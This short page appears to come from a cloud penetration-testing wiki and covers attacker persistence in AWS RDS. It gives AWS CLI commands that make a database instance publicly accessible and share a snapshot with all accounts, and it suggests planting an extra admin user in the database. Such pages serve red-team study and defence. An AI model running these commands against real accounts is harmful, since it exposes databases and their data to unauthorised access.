# AWS - RDS Persistence
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## RDS
For more information check:
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[aws-relational-database-rds-enum.md](../aws-services/aws-relational-database-rds-enum.md)
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### Make instance publicly accessible: `rds:ModifyDBInstance`
An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
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```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
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### Create an admin user inside the DB
An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
### Make snapshot public
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```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all
```
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